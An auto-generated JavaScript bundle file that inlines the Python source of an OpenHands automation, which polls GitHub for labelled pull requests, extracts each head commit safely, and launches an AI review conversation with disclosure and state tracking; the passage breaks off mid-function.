@openhands/extensions
Advanced tools
| // This file is auto-generated by scripts/build-automation-catalog.mjs. | ||
| // Do not edit it manually. It inlines the files each bundle entry ships, read from | ||
| // the repository paths its manifest names. To update it, run: npm run build:automations | ||
| export const AUTOMATION_BUNDLE_FILES = { | ||
| "github-pr-reviewer": { | ||
| "main.py": "\"\"\"\nGitHub PR Reviewer - OpenHands Automation Script\n\nCron-polls one or more GitHub repositories for open pull requests carrying the\nconfigured trigger label. A review is queued only when the latest matching\nGitHub `labeled` event has not already been processed by this automation.\n\nEach repository is polled independently and keeps its own state document, so\npull-request numbers never collide across repositories.\n\nThe script owns the repository checkout: it downloads the pull request's head\ncommit as a tarball, hands the agent that directory as its workspace, and\nremoves it once the review has finished. The agent never clones, checks out, or\ndeletes anything.\n\"\"\"\n\nimport io\nimport json\nimport os\nimport re\nimport shutil\nimport sys\nimport tarfile\nimport time\nimport urllib.error\nimport urllib.request\nfrom collections.abc import Callable\nfrom pathlib import Path, PurePosixPath\nfrom urllib.parse import urlencode\n\n# Configuration. Two setup paths write it, and both end up here:\n#\n# - the agent-driven path (SKILL.md) substitutes these constants directly\n# into a copy of this file before packaging it;\n# - the catalog path packs an unmodified copy and ships a rendered\n# config.json beside it, which is loaded over these defaults below.\n#\n# A declarative host cannot rewrite Python - the catalog schema admits data,\n# not code - so the constants stay as the defaults and config.json is the\n# override, rather than one path being expressed in terms of the other.\nREPOS = [\"owner/repo\"]\nTRIGGER_LABEL = \"openhands-review\"\nREVIEW_TONE = \"thorough\"\nREVIEW_STYLE_INSTRUCTIONS = \"\"\nDEFAULT_OPENHANDS_URL = \"http://localhost:8000\"\n\nCONFIG_FILENAME = \"config.json\"\n\n# Config keys, paired with the type each must have. A wrong type is a hard\n# error at import: the alternative is polling the string \"owner/repo\" one\n# character at a time, or matching a label that is silently a list.\n_CONFIG_TYPES: dict[str, type] = {\n \"repos\": list,\n \"trigger_label\": str,\n \"review_tone\": str,\n \"review_style_instructions\": str,\n \"openhands_url\": str,\n}\n\n\ndef load_config(directory: Path | None = None) -> dict:\n \"\"\"Return the rendered config shipped beside this script, or {} if absent.\n\n Only the keys above are read; anything else in the file is ignored, so a\n host may ship provenance there without this script caring.\n \"\"\"\n path = (directory or Path(__file__).resolve().parent) / CONFIG_FILENAME\n if not path.is_file():\n return {}\n\n try:\n raw = json.loads(path.read_text())\n except json.JSONDecodeError as e:\n raise SystemExit(f\"{CONFIG_FILENAME} is not valid JSON: {e}\") from e\n if not isinstance(raw, dict):\n raise SystemExit(f\"{CONFIG_FILENAME} must contain a JSON object\")\n\n config = {}\n for key, expected in _CONFIG_TYPES.items():\n if key not in raw:\n continue\n value = raw[key]\n if not isinstance(value, expected):\n raise SystemExit(\n f\"{CONFIG_FILENAME}: {key} must be {expected.__name__}, \"\n f\"got {type(value).__name__}\"\n )\n if key == \"repos\" and not (\n value and all(isinstance(item, str) and item for item in value)\n ):\n raise SystemExit(\n f'{CONFIG_FILENAME}: repos must be a non-empty list of \"owner/repo\" strings'\n )\n config[key] = value\n return config\n\n\n# owner/repo, which is what every GitHub API path in this script is built from.\n_REPO_NAME_RE = re.compile(r\"^[A-Za-z0-9._-]+/[A-Za-z0-9._-]+$\")\n\n\ndef normalize_repo(value: str) -> str:\n \"\"\"Return ``owner/repo`` for the ways a repository gets written down.\n\n A clone URL is what a repository page offers to copy, so it is what ends up\n pasted into a setup form. Left alone it becomes\n ``/repos/https://github.com/owner/repo``, which GitHub answers with a 404 -\n indistinguishable, from here, from a repository the token cannot see.\n\n Raises ValueError for anything that is not a repository name, so the run\n says which value it could not read instead of blaming the token.\n \"\"\"\n repo = value.strip()\n if repo.startswith(\"git@\"):\n # git@github.com:owner/repo.git\n repo = repo.partition(\":\")[2]\n elif \"://\" in repo:\n # https://github.com/owner/repo, and anything else with a host\n repo = repo.split(\"://\", 1)[1].partition(\"/\")[2]\n repo = repo.strip(\"/\")\n if repo.endswith(\".git\"):\n repo = repo[: -len(\".git\")]\n\n if not _REPO_NAME_RE.match(repo):\n raise ValueError(\n f\"{value!r} is not a repository. Use owner/repo, for example \"\n \"OpenHands/automation.\"\n )\n return repo\n\n\n_CONFIG = load_config()\nREPOS = _CONFIG.get(\"repos\", REPOS)\nTRIGGER_LABEL = _CONFIG.get(\"trigger_label\", TRIGGER_LABEL)\nREVIEW_TONE = _CONFIG.get(\"review_tone\", REVIEW_TONE)\nREVIEW_STYLE_INSTRUCTIONS = _CONFIG.get(\"review_style_instructions\", REVIEW_STYLE_INSTRUCTIONS)\nDEFAULT_OPENHANDS_URL = _CONFIG.get(\"openhands_url\", DEFAULT_OPENHANDS_URL)\n\nDONE_DEBOUNCE = 15\nTERMINAL_STATUSES = {\"idle\", \"finished\", \"error\", \"stuck\"}\n# A conversation that never reaches a terminal status would hold its checkout\n# forever. After this long the review is abandoned so the disk can be reclaimed.\nMAX_ACTIVE_AGE = 2 * 60 * 60\n# A label event is claimed in the state document before its review starts, so an\n# overlapping poll skips it. If the claiming poll dies before the conversation\n# exists, the claim is released after this long - comfortably longer than\n# fetching an archive and opening a conversation, short enough that a crash does\n# not park the review until someone notices.\nSTALLED_CLAIM_SECONDS = 15 * 60\n\n# Login of the token owner, filled in by _verify_token. Reviews are matched\n# against it to answer \"did we already publish a review for this commit\", which\n# is checked on GitHub rather than trusted from the agent.\n_AUTH_LOGIN = \"\"\n\n\ndef _get_env_key() -> str:\n return os.environ.get(\"SESSION_API_KEY\") or os.environ.get(\"OH_SESSION_API_KEYS_0\") or \"\"\n\n\ndef get_secret(name: str) -> str:\n url = os.environ.get(\"AGENT_SERVER_URL\", \"\").rstrip(\"/\")\n key = _get_env_key()\n req = urllib.request.Request(\n f\"{url}/api/settings/secrets/{name}\",\n headers={\"X-Session-API-Key\": key},\n )\n with urllib.request.urlopen(req) as r:\n return r.read().decode().strip()\n\n\ndef fire_callback(\n status: str = \"COMPLETED\",\n error: str | None = None,\n conversation_id: str | None = None,\n) -> None:\n url = os.environ.get(\"AUTOMATION_CALLBACK_URL\", \"\")\n if not url:\n return\n body: dict = {\"status\": status, \"run_id\": os.environ.get(\"AUTOMATION_RUN_ID\", \"\")}\n if error:\n body[\"error\"] = error\n if conversation_id:\n body[\"conversation_id\"] = conversation_id\n req = urllib.request.Request(\n url,\n data=json.dumps(body).encode(),\n headers={\n \"Content-Type\": \"application/json\",\n \"Authorization\": f\"Bearer {os.environ.get('AUTOMATION_CALLBACK_API_KEY', '')}\",\n },\n )\n try:\n urllib.request.urlopen(req)\n except Exception as exc:\n print(f\"Callback error (non-fatal): {exc}\")\n\n\n# ── State persistence (KV store with local-file fallback) ─────────────────────\n\n_KV_TOKEN = os.environ.get(\"AUTOMATION_KV_TOKEN\", \"\")\n_KV_BASE = os.environ.get(\"AUTOMATION_API_URL\", \"\").rstrip(\"/\")\n# Single-repository deployments of this script kept their state under a bare\n# \"state\" key. It is adopted once, on first poll after an upgrade, so the\n# switch to per-repository keys does not re-review every open labelled PR.\n_LEGACY_STATE_KEY = \"state\"\n\n\ndef _repo_slug(repo: str) -> str:\n return repo.replace(\"/\", \"__\")\n\n\ndef _state_key(repo: str) -> str:\n return f\"state:{_repo_slug(repo)}\"\n\n\ndef _kv_available() -> bool:\n return bool(_KV_TOKEN and _KV_BASE)\n\n\ndef _kv_get(key: str) -> dict | None:\n req = urllib.request.Request(\n f\"{_KV_BASE}/v1/kv/{key}\",\n headers={\"Authorization\": f\"Bearer {_KV_TOKEN}\"},\n )\n try:\n with urllib.request.urlopen(req) as r:\n return json.loads(r.read())[\"value\"]\n except urllib.error.HTTPError as exc:\n if exc.code == 404:\n return None\n raise\n\n\ndef _kv_set(key: str, value: dict) -> None:\n req = urllib.request.Request(\n f\"{_KV_BASE}/v1/kv/{key}\",\n data=json.dumps(value).encode(),\n headers={\n \"Authorization\": f\"Bearer {_KV_TOKEN}\",\n \"Content-Type\": \"application/json\",\n },\n method=\"PUT\",\n )\n with urllib.request.urlopen(req) as r:\n r.read()\n\n\ndef _state_dir() -> Path:\n workspace_base = os.environ.get(\"WORKSPACE_BASE\", \"\")\n if workspace_base:\n root = Path(workspace_base).resolve().parent.parent\n else:\n root = Path.home() / \".openhands\" / \"workspaces\"\n state_dir = root / \"automation-state\"\n state_dir.mkdir(parents=True, exist_ok=True)\n return state_dir\n\n\ndef _automation_id() -> str:\n event_payload = json.loads(os.environ.get(\"AUTOMATION_EVENT_PAYLOAD\", \"{}\"))\n return event_payload.get(\"automation_id\", \"default\")\n\n\ndef _state_file_path(repo: str) -> str:\n name = f\"github_pr_reviewer_label_event_{_automation_id()}_{_repo_slug(repo)}.json\"\n return str(_state_dir() / name)\n\n\ndef _legacy_state_file_path() -> str:\n return str(_state_dir() / f\"github_pr_reviewer_label_event_{_automation_id()}.json\")\n\n\ndef _read_state_file(path: str) -> dict | None:\n if not os.path.exists(path):\n return None\n try:\n with open(path) as f:\n return json.load(f)\n except (json.JSONDecodeError, OSError) as exc:\n print(f\" Warning: state file {path} unreadable ({exc}); starting fresh\")\n return None\n\n\ndef _default_state(repo: str) -> dict:\n return {\n \"version\": 3,\n \"repo\": repo,\n \"trigger_label\": TRIGGER_LABEL,\n \"reviews\": {},\n \"prs\": {},\n }\n\n\ndef load_state(repo: str) -> dict:\n \"\"\"Load this repository's state, adopting a pre-multi-repo document once.\"\"\"\n if _kv_available():\n data = _kv_get(_state_key(repo))\n if data is not None:\n print(f\" State loaded from KV store ({_state_key(repo)})\")\n return data\n legacy = _kv_get(_LEGACY_STATE_KEY)\n if legacy is not None and legacy.get(\"repo\") == repo:\n print(f\" Adopted legacy KV state for {repo}\")\n return legacy\n return _default_state(repo)\n\n data = _read_state_file(_state_file_path(repo))\n if data is not None:\n return data\n legacy = _read_state_file(_legacy_state_file_path())\n if legacy is not None and legacy.get(\"repo\") == repo:\n print(f\" Adopted legacy state file for {repo}\")\n return legacy\n return _default_state(repo)\n\n\ndef save_state(repo: str, state: dict) -> None:\n if _kv_available():\n _kv_set(_state_key(repo), state)\n print(f\" State saved to KV store ({_state_key(repo)})\")\n return\n path = _state_file_path(repo)\n tmp_path = f\"{path}.tmp\"\n with open(tmp_path, \"w\") as f:\n json.dump(state, f, indent=2, sort_keys=True)\n os.replace(tmp_path, path)\n print(f\" State saved to {path}\")\n\n\ndef _github_request(\n token: str,\n method: str,\n path: str,\n params: dict | None = None,\n body: dict | None = None,\n accept: str = \"application/vnd.github+json\",\n) -> tuple:\n url = f\"https://api.github.com{path}\"\n if params:\n url = f\"{url}?{urlencode(params)}\"\n headers = {\n \"Authorization\": f\"Bearer {token}\",\n \"Accept\": accept,\n \"X-GitHub-Api-Version\": \"2022-11-28\",\n \"Content-Type\": \"application/json\",\n }\n data = json.dumps(body).encode() if body is not None else None\n req = urllib.request.Request(url, data=data, headers=headers, method=method)\n with urllib.request.urlopen(req) as r:\n raw = r.read()\n return (json.loads(raw) if raw.strip() else {}), dict(r.headers)\n\n\ndef _github_paginate(token: str, path: str, params: dict | None = None) -> list:\n results = []\n page = 1\n base_params = dict(params or {})\n base_params.setdefault(\"per_page\", 100)\n while True:\n base_params[\"page\"] = page\n data, _ = _github_request(token, \"GET\", path, params=base_params)\n if not isinstance(data, list):\n break\n results.extend(data)\n if len(data) < base_params[\"per_page\"]:\n break\n page += 1\n return results\n\n\ndef _resolve_github_token() -> str:\n try:\n token = get_secret(\"GITHUB_PERSONAL_ACCESS_TOKEN\")\n if token:\n return token\n except Exception:\n pass\n raise RuntimeError(\n \"GITHUB_PERSONAL_ACCESS_TOKEN secret is not set. \"\n \"Go to OpenHands Settings → Secrets and add your GitHub Personal Access Token.\"\n )\n\n\ndef _verify_token(token: str) -> None:\n \"\"\"Check the token once per run and remember who it belongs to.\"\"\"\n global _AUTH_LOGIN\n try:\n user_data, _ = _github_request(token, \"GET\", \"/user\")\n except urllib.error.HTTPError as exc:\n if exc.code == 401:\n raise RuntimeError(\"GITHUB_PERSONAL_ACCESS_TOKEN is invalid or expired.\") from exc\n raise RuntimeError(f\"GitHub /user check failed: {exc.code}\") from exc\n\n _AUTH_LOGIN = user_data.get(\"login\", \"\")\n print(f\"Authenticated as GitHub user: {_AUTH_LOGIN or '?'}\")\n\n\ndef _verify_repo(token: str, repo: str) -> None:\n try:\n _github_request(token, \"GET\", f\"/repos/{repo}\")\n except urllib.error.HTTPError as exc:\n if exc.code == 404:\n raise RuntimeError(f\"Repository '{repo}' is not accessible with the current token.\") from exc\n raise RuntimeError(f\"GitHub /repos/{repo} check failed: {exc.code}\") from exc\n\n\ndef _list_open_prs(token: str, repo: str) -> list[dict]:\n return _github_paginate(\n token,\n f\"/repos/{repo}/pulls\",\n {\"state\": \"open\", \"sort\": \"updated\", \"direction\": \"desc\"},\n )\n\n\ndef _get_pr(token: str, repo: str, pr_number: int) -> dict:\n pr, _ = _github_request(token, \"GET\", f\"/repos/{repo}/pulls/{pr_number}\")\n return pr\n\n\ndef _get_issue_events(token: str, repo: str, pr_number: int) -> list[dict]:\n return _github_paginate(token, f\"/repos/{repo}/issues/{pr_number}/events\")\n\n\ndef _latest_trigger_label_event(token: str, repo: str, pr_number: int) -> dict | None:\n events = _get_issue_events(token, repo, pr_number)\n matching = [\n event for event in events\n if event.get(\"event\") == \"labeled\"\n and (event.get(\"label\") or {}).get(\"name\", \"\").lower() == TRIGGER_LABEL.lower()\n and event.get(\"id\") is not None\n ]\n if not matching:\n return None\n return max(matching, key=lambda event: (event.get(\"created_at\") or \"\", int(event.get(\"id\") or 0)))\n\n\ndef _post_github_comment(token: str, repo: str, pr_number: int, body: str) -> None:\n try:\n _github_request(\n token,\n \"POST\",\n f\"/repos/{repo}/issues/{pr_number}/comments\",\n body={\"body\": body},\n )\n except Exception as exc:\n print(f\" Warning: failed to post comment on PR #{pr_number}: {exc}\")\n\n\ndef _matching_review_exists(token: str, repo: str, pr_number: int, head_sha: str) -> bool:\n \"\"\"Has this token's user already published a review for this exact commit?\n\n The agent is asked to report success, but a report is not evidence: reviews\n have been reported as posted when none existed. GitHub is the source of\n truth for whether the review landed.\n \"\"\"\n if not head_sha or not _AUTH_LOGIN:\n return False\n try:\n reviews = _github_paginate(token, f\"/repos/{repo}/pulls/{pr_number}/reviews\")\n except Exception as exc:\n print(f\" Warning: could not list reviews for PR #{pr_number}: {exc}\")\n return False\n for review in reviews:\n if (review.get(\"user\") or {}).get(\"login\", \"\").lower() != _AUTH_LOGIN.lower():\n continue\n if review.get(\"commit_id\") == head_sha:\n return True\n return False\n\n\n# ── Repository checkout ───────────────────────────────────────────────────────\n\n\ndef _checkouts_root() -> Path:\n return Path(os.environ.get(\"WORKSPACE_BASE\", \"/workspace\")).resolve() / \"repositories\"\n\n\ndef _checkout_path(repo: str, pr_number: int, head_sha: str) -> Path:\n return _checkouts_root() / _repo_slug(repo) / f\"pr-{pr_number}-{head_sha[:12]}\"\n\n\ndef _prepare_repository(token: str, repo: str, pr_number: int, head_sha: str) -> Path:\n \"\"\"Materialise the pull request's head commit as the agent's workspace.\n\n The commit is fetched as a tarball rather than cloned, so the directory\n holds exactly the reviewed tree with no history and no git remote for the\n agent to push to.\n \"\"\"\n checkout = _checkout_path(repo, pr_number, head_sha)\n if checkout.exists():\n shutil.rmtree(checkout)\n checkout.mkdir(parents=True)\n\n req = urllib.request.Request(\n f\"https://api.github.com/repos/{repo}/tarball/{head_sha}\",\n headers={\n \"Authorization\": f\"Bearer {token}\",\n \"Accept\": \"application/vnd.github+json\",\n \"X-GitHub-Api-Version\": \"2022-11-28\",\n },\n )\n skipped_links = 0\n try:\n with urllib.request.urlopen(req) as response:\n archive = tarfile.open(fileobj=io.BytesIO(response.read()), mode=\"r:gz\")\n with archive:\n members = archive.getmembers()\n roots = {\n PurePosixPath(member.name).parts[0]\n for member in members\n if PurePosixPath(member.name).parts\n }\n if len(roots) != 1:\n raise RuntimeError(\"Repository archive has an unexpected layout\")\n root = next(iter(roots))\n for member in members:\n path = PurePosixPath(member.name)\n if not path.parts or path.parts[0] != root:\n raise RuntimeError(\"Repository archive contains an invalid path\")\n relative = PurePosixPath(*path.parts[1:])\n if not relative.parts:\n continue\n if relative.is_absolute() or \"..\" in relative.parts:\n raise RuntimeError(\"Repository archive contains path traversal\")\n if member.issym() or member.islnk() or member.isdev():\n # Repositories legitimately contain symlinks. Reviewing does\n # not need them, and materialising them risks escaping the\n # checkout, so skip rather than reject the whole archive.\n skipped_links += 1\n continue\n destination = checkout.joinpath(*relative.parts)\n if member.isdir():\n destination.mkdir(parents=True, exist_ok=True)\n continue\n if not member.isfile():\n continue\n destination.parent.mkdir(parents=True, exist_ok=True)\n source = archive.extractfile(member)\n if source is None:\n raise RuntimeError(f\"Could not read archive member {member.name}\")\n with source, destination.open(\"wb\") as target:\n shutil.copyfileobj(source, target)\n destination.chmod(member.mode & 0o777)\n except Exception:\n shutil.rmtree(checkout, ignore_errors=True)\n raise\n\n if skipped_links:\n print(f\" Skipped {skipped_links} link/device entries while extracting\")\n return checkout\n\n\ndef _release_checkout(rec: dict, agent_url: str, api_key: str) -> bool:\n \"\"\"Remove a finished review's checkout. Returns True when nothing is left.\n\n The checkout is the conversation's working directory, so it is only removed\n once the conversation has stopped - deleting it under a running agent would\n pull the ground out from under it. When the status cannot be confirmed the\n directory is left alone and the next poll tries again.\n \"\"\"\n workspace_dir = rec.get(\"workspace_dir\")\n if not workspace_dir:\n return True\n\n conversation_id = rec.get(\"conversation_id\")\n if conversation_id:\n try:\n status = conversation_status(agent_url, api_key, conversation_id)\n except urllib.error.HTTPError as exc:\n status = \"finished\" if exc.code == 404 else None\n except Exception:\n status = None\n if status is None:\n print(f\" Could not confirm conversation {conversation_id} has stopped; keeping {workspace_dir}\")\n return False\n if status not in TERMINAL_STATUSES:\n print(f\" Conversation {conversation_id} is still '{status}'; keeping its checkout\")\n return False\n\n path = Path(workspace_dir)\n root = _checkouts_root()\n try:\n resolved = path.resolve()\n except OSError:\n resolved = path\n if resolved == root or not resolved.is_relative_to(root):\n # Never delete anything the script did not create under the checkout\n # root, whatever ended up recorded in state.\n print(f\" Refusing to remove {resolved}: outside {root}\")\n rec.pop(\"workspace_dir\", None)\n return True\n\n shutil.rmtree(resolved, ignore_errors=True)\n rec.pop(\"workspace_dir\", None)\n print(f\" Removed checkout {resolved}\")\n return True\n\n\ndef _oh_request(agent_url: str, api_key: str, method: str, path: str, body: dict | None = None) -> dict:\n url = f\"{agent_url}{path}\"\n headers = {\"X-Session-API-Key\": api_key, \"Content-Type\": \"application/json\"}\n data = json.dumps(body).encode() if body is not None else None\n req = urllib.request.Request(url, data=data, headers=headers, method=method)\n try:\n with urllib.request.urlopen(req) as r:\n raw = r.read()\n return json.loads(raw) if raw.strip() else {}\n except urllib.error.HTTPError as exc:\n body_text = exc.read().decode()\n raise RuntimeError(f\"Agent API {method} {path} → {exc.code}: {body_text}\") from exc\n\n\ndef _fetch_settings(agent_url: str, api_key: str) -> dict:\n req = urllib.request.Request(\n f\"{agent_url}/api/settings\",\n headers={\"X-Session-API-Key\": api_key, \"X-Expose-Secrets\": \"plaintext\"},\n )\n with urllib.request.urlopen(req) as r:\n return json.loads(r.read())\n\n\ndef _get_agent_dict(agent_url: str, api_key: str) -> dict:\n data = _fetch_settings(agent_url, api_key)\n llm = data.get(\"agent_settings\", {}).get(\"llm\", {})\n return {\n \"kind\": \"Agent\",\n \"llm\": llm,\n \"tools\": [{\"name\": \"terminal\"}, {\"name\": \"file_editor\"}],\n }\n\n\ndef _get_mcp_config(agent_url: str, api_key: str) -> dict | None:\n try:\n data = _fetch_settings(agent_url, api_key)\n mcp_config = data.get(\"agent_settings\", {}).get(\"mcp_config\")\n if isinstance(mcp_config, dict) and mcp_config.get(\"mcpServers\"):\n return mcp_config\n except Exception as exc:\n print(f\"Warning: could not fetch MCP config: {exc}\")\n return None\n\n\ndef _list_secret_names(agent_url: str, api_key: str) -> list[dict]:\n try:\n result = _oh_request(agent_url, api_key, \"GET\", \"/api/settings/secrets\")\n return result.get(\"secrets\", [])\n except Exception as exc:\n print(f\"Warning: could not list secrets: {exc}\")\n return []\n\n\ndef _build_secrets_payload(agent_url: str, api_key: str) -> dict:\n secrets = {}\n for secret in _list_secret_names(agent_url, api_key):\n name = secret.get(\"name\", \"\")\n if not name:\n continue\n lookup: dict = {\n \"kind\": \"LookupSecret\",\n \"url\": f\"/api/settings/secrets/{name}\",\n }\n if api_key:\n lookup[\"headers\"] = {\"X-Session-API-Key\": api_key}\n desc = secret.get(\"description\")\n if desc:\n lookup[\"description\"] = desc\n secrets[name] = lookup\n return secrets\n\n\ndef create_conversation(\n agent_url: str,\n api_key: str,\n initial_message: str,\n workspace_dir: Path,\n) -> str:\n payload: dict = {\n \"workspace\": {\"working_dir\": str(workspace_dir)},\n \"agent\": _get_agent_dict(agent_url, api_key),\n \"initial_message\": {\"content\": [{\"text\": initial_message}]},\n }\n secrets = _build_secrets_payload(agent_url, api_key)\n if secrets:\n payload[\"secrets\"] = secrets\n mcp_config = _get_mcp_config(agent_url, api_key)\n if mcp_config:\n payload[\"mcp_config\"] = mcp_config\n result = _oh_request(agent_url, api_key, \"POST\", \"/api/conversations\", payload)\n return result[\"id\"]\n\n\ndef conversation_status(agent_url: str, api_key: str, conv_id: str) -> str:\n result = _oh_request(agent_url, api_key, \"GET\", f\"/api/conversations/{conv_id}\")\n return result.get(\"execution_status\", \"unknown\")\n\n\ndef conversation_final_response(agent_url: str, api_key: str, conv_id: str) -> str:\n result = _oh_request(agent_url, api_key, \"GET\", f\"/api/conversations/{conv_id}/agent_final_response\")\n return result.get(\"response\", \"\")\n\n\n_TONE_INSTRUCTIONS = {\n \"thorough\": (\n \"Provide a comprehensive review. Cover correctness, security vulnerabilities, \"\n \"missing or inadequate tests, code style, maintainability, and potential edge cases. \"\n \"Reference specific files and line numbers where relevant.\"\n ),\n \"concise\": (\n \"Provide a brief, high-signal review. Focus only on important bugs, security problems, \"\n \"or significant design flaws. Omit minor style feedback.\"\n ),\n \"friendly\": (\n \"Provide a constructive, encouraging review. Acknowledge what is done well before \"\n \"raising concerns while still noting real issues.\"\n ),\n}\n\n\ndef _labels(pr: dict) -> list[str]:\n return [label.get(\"name\", \"\") for label in pr.get(\"labels\", [])]\n\n\ndef _has_trigger_label(pr: dict) -> bool:\n return any(label.lower() == TRIGGER_LABEL.lower() for label in _labels(pr))\n\n\ndef _head_sha(pr: dict) -> str:\n return ((pr.get(\"head\") or {}).get(\"sha\") or \"\").strip()\n\n\ndef _review_key(pr_number: int, label_event_id: int | str) -> str:\n return f\"{pr_number}:label:{label_event_id}\"\n\n\ndef _with_ai_disclosure(body: str) -> str:\n disclosure = \"_This comment was posted by an AI agent (OpenHands)._\"\n body = (body or \"\").strip()\n if disclosure.lower() in body.lower():\n return body\n return f\"{body}\\n\\n{disclosure}\" if body else disclosure\n\n\ndef _build_review_prompt(repo: str, pr: dict, head_sha: str, label_event: dict) -> str:\n number = pr.get(\"number\", \"?\")\n title = pr.get(\"title\", \"(no title)\")\n body = (pr.get(\"body\") or \"\").strip() or \"(no description)\"\n html_url = pr.get(\"html_url\", \"\")\n author = (pr.get(\"user\") or {}).get(\"login\", \"?\")\n base_branch = (pr.get(\"base\") or {}).get(\"ref\", \"?\")\n head_branch = (pr.get(\"head\") or {}).get(\"ref\", \"?\")\n label_str = \", \".join(_labels(pr)) or \"(none)\"\n label_event_id = label_event.get(\"id\", \"?\")\n label_event_created_at = label_event.get(\"created_at\", \"?\")\n changed_files = pr.get(\"changed_files\", \"?\")\n additions = pr.get(\"additions\", \"?\")\n deletions = pr.get(\"deletions\", \"?\")\n tone = _TONE_INSTRUCTIONS.get(REVIEW_TONE, _TONE_INSTRUCTIONS[\"thorough\"])\n extra = f\"\\n\\nAdditional style instructions:\\n{REVIEW_STYLE_INSTRUCTIONS}\" if REVIEW_STYLE_INSTRUCTIONS.strip() else \"\"\n\n return (\n \"You are an AI code reviewer. Review the GitHub pull request below and publish \"\n \"the review directly to GitHub. Do not modify files, push commits, or approve \"\n \"the pull request.\\n\\n\"\n f\"Repository : {repo}\\n\"\n f\"PR #{number}: \\\"{title}\\\"\\n\"\n f\"Author : @{author}\\n\"\n f\"Base → Head: {base_branch} ← {head_branch}\\n\"\n f\"Head SHA : {head_sha}\\n\"\n f\"Trigger : latest `{TRIGGER_LABEL}` labeled event {label_event_id} at {label_event_created_at}\\n\"\n f\"Labels : {label_str}\\n\"\n f\"Changes : +{additions} -{deletions} across {changed_files} file(s)\\n\"\n f\"URL : {html_url}\\n\"\n f\"\\nPR Description:\\n---\\n{body}\\n---\\n\\n\"\n \"Required workflow:\\n\"\n \"1. The workspace is already the repository root at the exact Head SHA above. \"\n \"Do not clone, fetch, check out, or delete the repository.\\n\"\n \"2. Inspect the PR discussion, existing review comments, changed files, and the diff, \"\n \"together with the surrounding code in the workspace.\\n\"\n \" Use `gh` or GitHub REST API calls with `GITHUB_PERSONAL_ACCESS_TOKEN`; never print secret values.\\n\"\n \"3. Ground every finding in the workspace code. Before using an inline location, verify that \"\n \"the path and line are part of this pull request's diff.\\n\"\n f\"4. Publish one review with `POST /repos/{repo}/pulls/{number}/reviews`, using \"\n \"`commit_id` equal to the Head SHA above and `event: COMMENT`.\\n\"\n \" Put the overall assessment in `body`, and each line-specific finding in the `comments` \"\n \"array with `path`, `line`, `side: RIGHT`, and `body`.\\n\"\n \" Only create inline comments for actionable findings; do not open praise or nitpick threads.\\n\"\n \"5. If a finding cannot be attached to a changed line, put it in the review body instead. \"\n \"If the API rejects the inline positions, retry with every finding in the body and no `comments` array.\\n\"\n \"6. Begin the review body with this disclosure: \"\n \"`_This review was posted by an AI agent (OpenHands)._`\\n\"\n \"7. End the review body with a verdict on its own line: either `✅ APPROVED` \"\n \"or `🔄 CHANGES REQUESTED`.\\n\"\n \"8. If there are no material issues, still publish a review saying so, with the \"\n \"disclosure and the verdict.\\n\"\n f\"\\nReview instructions:\\n{tone}{extra}\\n\\n\"\n \"After GitHub accepts the review, output exactly `GITHUB_REVIEW_POSTED`. \"\n \"If publishing still fails after the fallback in step 5, output the complete review text \"\n \"so it can be posted as a comment instead.\"\n )\n\n\ndef _process_review_request(\n github_token: str,\n agent_url: str,\n api_key: str,\n openhands_url: str,\n repo: str,\n pr: dict,\n label_event: dict,\n reviews: dict,\n persist: Callable[[], None],\n) -> str | None:\n number = pr[\"number\"]\n head_sha = _head_sha(pr)\n label_event_id = label_event[\"id\"]\n key = _review_key(number, label_event_id)\n title = pr.get(\"title\", \"(no title)\")\n html_url = pr.get(\"html_url\", \"\")\n\n print(f\" Queuing review for PR #{number} from `{TRIGGER_LABEL}` event {label_event_id} at {head_sha[:12]}: {title}\")\n\n # Claim the label event and persist it *before* the slow work below. State\n # is otherwise only written when the repository finishes polling, so a poll\n # starting while this one downloads an archive or spins up a conversation\n # would read no record for this event and review the same commit a second\n # time - two conversations, two \"reviewing\" comments, two reviews.\n reviews[key] = {\n \"pr_number\": number,\n \"head_sha\": head_sha,\n \"trigger_label_event_id\": label_event_id,\n \"trigger_label_event_created_at\": label_event.get(\"created_at\"),\n \"html_url\": html_url,\n \"status\": \"starting\",\n \"conversation_id\": None,\n \"workspace_dir\": None,\n \"last_activity\": time.time(),\n }\n persist()\n\n workspace_dir = None\n try:\n workspace_dir = _prepare_repository(github_token, repo, number, head_sha)\n prompt = _build_review_prompt(repo, pr, head_sha, label_event)\n conv_id = create_conversation(agent_url, api_key, prompt, workspace_dir)\n except Exception as exc:\n # The claim is dropped so the next poll retries this label event. The\n # checkout goes with it rather than being left behind.\n if workspace_dir:\n shutil.rmtree(workspace_dir, ignore_errors=True)\n reviews.pop(key, None)\n persist()\n print(f\" Error starting review for PR #{number}: {exc}\")\n return None\n\n reviews[key].update(\n {\n \"status\": \"active\",\n \"conversation_id\": conv_id,\n \"workspace_dir\": str(workspace_dir),\n \"last_activity\": time.time(),\n }\n )\n persist()\n print(f\" Created review conversation {conv_id}\")\n\n conv_url = f\"{openhands_url}/conversations/{conv_id}\"\n _post_github_comment(\n github_token,\n repo,\n number,\n _with_ai_disclosure(\n \"🤖 **OpenHands is reviewing this PR.**\\n\\n\"\n f\"Trigger label: `{TRIGGER_LABEL}`\\n\"\n f\"Label event: `{label_event_id}` at `{label_event.get('created_at', '?')}`\\n\"\n f\"Head commit: `{head_sha}`\\n\"\n f\"View the conversation: {conv_url}\"\n ),\n )\n return conv_id\n\n\ndef _check_conversation_completion(\n rec: dict,\n latest_open_prs: dict[int, dict],\n github_token: str,\n agent_url: str,\n api_key: str,\n repo: str,\n) -> None:\n age = time.time() - rec.get(\"last_activity\", 0.0)\n if age < DONE_DEBOUNCE:\n return\n\n conv_id = rec[\"conversation_id\"]\n pr_number = rec[\"pr_number\"]\n reviewed_sha = rec.get(\"head_sha\", \"\")\n current_pr = latest_open_prs.get(pr_number)\n\n if not current_pr:\n rec[\"status\"] = \"closed\"\n print(f\" PR #{pr_number} closed/merged — skipping result post\")\n _release_checkout(rec, agent_url, api_key)\n return\n\n current_sha = _head_sha(current_pr)\n if current_sha and reviewed_sha and current_sha != reviewed_sha:\n rec[\"status\"] = \"stale\"\n rec[\"stale_reason\"] = f\"head changed from {reviewed_sha} to {current_sha}\"\n print(f\" PR #{pr_number} advanced to {current_sha[:12]} — suppressing stale review {conv_id}\")\n _release_checkout(rec, agent_url, api_key)\n return\n\n try:\n status = conversation_status(agent_url, api_key, conv_id)\n except Exception as exc:\n print(f\" Warning: could not get status for {conv_id}: {exc}\")\n return\n\n print(f\" PR #{pr_number} conversation {conv_id} → status={status}\")\n if status not in TERMINAL_STATUSES:\n if age > MAX_ACTIVE_AGE:\n rec[\"status\"] = \"expired\"\n rec[\"expired_after\"] = age\n 